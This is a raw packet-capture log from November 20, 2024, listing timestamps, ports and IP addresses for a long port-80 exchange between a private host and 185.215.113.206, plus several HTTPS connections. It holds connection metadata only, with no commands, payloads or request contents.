Nov 20, 2024 18:57:49.249819994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.249874115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.250447989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.250499964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.250582933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.250865936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.251271009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.251318932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.251367092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.251415014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.252078056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.252145052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.252181053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.252284050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.252875090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.252927065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.253000021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.253081083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.253691912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.253741980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.253781080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.253819942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.254486084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.254566908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.254709959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.254753113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.255383968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.255434036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.255522966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.255563974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.256125927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.256232977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.256282091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.256932974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.257000923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.257040024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.257088900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.257769108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.257874012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.257915020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.257930040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.258593082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.258637905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.258666039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.258701086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.259322882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.259370089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.264652967 CET	49883	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:49.264673948 CET	443	49883	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:49.265065908 CET	49883	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:49.265285969 CET	49883	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:49.265297890 CET	443	49883	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:49.271239996 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.271337986 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.271467924 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.271477938 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.271845102 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.272167921 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.272237062 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.272321939 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.315361023 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.327013016 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:49.327310085 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:49.327455044 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:49.328861952 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:49.328880072 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:49.332259893 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.332601070 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.332614899 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.333676100 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.333746910 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.334096909 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.334168911 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.334322929 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.334331036 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.335292101 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.335302114 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.335334063 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.353115082 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:49.353164911 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:49.353243113 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:49.366697073 CET	49884	443	192.168.2.6	2.16.158.90
Nov 20, 2024 18:57:49.366729021 CET	443	49884	2.16.158.90	192.168.2.6
Nov 20, 2024 18:57:49.431338072 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.431380987 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.432699919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.432725906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.432768106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.432792902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.433429956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.433481932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.433547974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.433598042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.433962107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.434037924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.434149981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.434221983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.434799910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.434848070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.434905052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.435039997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.435575962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.435688972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.435714960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.435728073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.436374903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.436414003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.436419964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.436459064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.437002897 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.437191010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.437239885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.437302113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.437340975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.438013077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.438050985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.438079119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.438092947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.438824892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.438868046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.438935041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.438973904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.439636946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.439666033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.439686060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.439719915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.440449953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.440505981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.440592051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.440633059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.441261053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.441312075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.441344023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.441446066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.442104101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.442195892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.442308903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.442533016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.442877054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.442919970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.442974091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.443027973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.443686008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.443726063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.443751097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.443785906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.444498062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.444598913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.444600105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.444645882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.445301056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.445373058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.445432901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.445470095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.446170092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.446291924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.446319103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.446338892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.446995974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.447076082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.447156906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.447196960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.447756052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.447865963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.447874069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.447912931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.448312044 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.448379993 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.448421955 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.448558092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.448609114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.448668957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.448726892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.449403048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.449475050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.449475050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.449510098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.450191021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.450254917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.450293064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.450333118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.451000929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.451070070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.451109886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.451812029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.451924086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.451951027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.451967955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.452653885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.452692986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.452821016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.452862978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.453432083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.453511000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.453555107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.453596115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.454236031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.454345942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.454391003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.455049038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.455116034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.455143929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.455235004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.455858946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.455914974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.456008911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.456222057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.456723928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.456774950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.456871986 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.456882954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.456895113 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.456908941 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.456924915 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.456937075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.457489967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.457560062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.457731962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.457784891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.458306074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.458359003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.458360910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.458416939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.459141970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.459206104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.459237099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.459283113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.459923983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.459975004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.460037947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.460143089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.460730076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.460778952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.460896969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.460938931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.461575031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.461635113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.461699009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.461739063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.462511063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.462575912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.462616920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.462656975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.463213921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.463258982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.463344097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.463427067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.464060068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.464108944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.464216948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.464257956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.464808941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.464849949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.464896917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.464951038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.465630054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.465703964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.465723991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.465765953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.466140985 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.466167927 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.466229916 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.466459036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.466511965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.466573000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.466613054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.467289925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.467329979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.467426062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.467462063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.468071938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.468139887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.468244076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.468283892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.468858957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.468900919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.468978882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.469084024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.469621897 CET	49885	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.469635963 CET	443	49885	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.469677925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.469724894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.469809055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.469845057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.470523119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.470576048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.470668077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.470938921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.471323967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.471375942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.471512079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.471694946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.472217083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.472284079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.472327948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.472495079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.472923994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.473025084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.473067999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.473102093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.473848104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.473860025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.473902941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.474703074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.474778891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.474822998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.474865913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.476159096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.476243973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.492444038 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.505204916 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.505228043 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.505301952 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.505316019 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.511966944 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.512025118 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.520385027 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.520400047 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.520814896 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.520857096 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.520919085 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.521482944 CET	49886	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.521503925 CET	443	49886	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.597306967 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.597376108 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.597476006 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.598308086 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.598318100 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.598330021 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.598335028 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.601720095 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.601742983 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.601946115 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.602106094 CET	49887	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.602118969 CET	443	49887	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.643302917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.643376112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.643395901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.643441916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.643673897 CET	80	49794	185.215.113.206	192.168.2.6
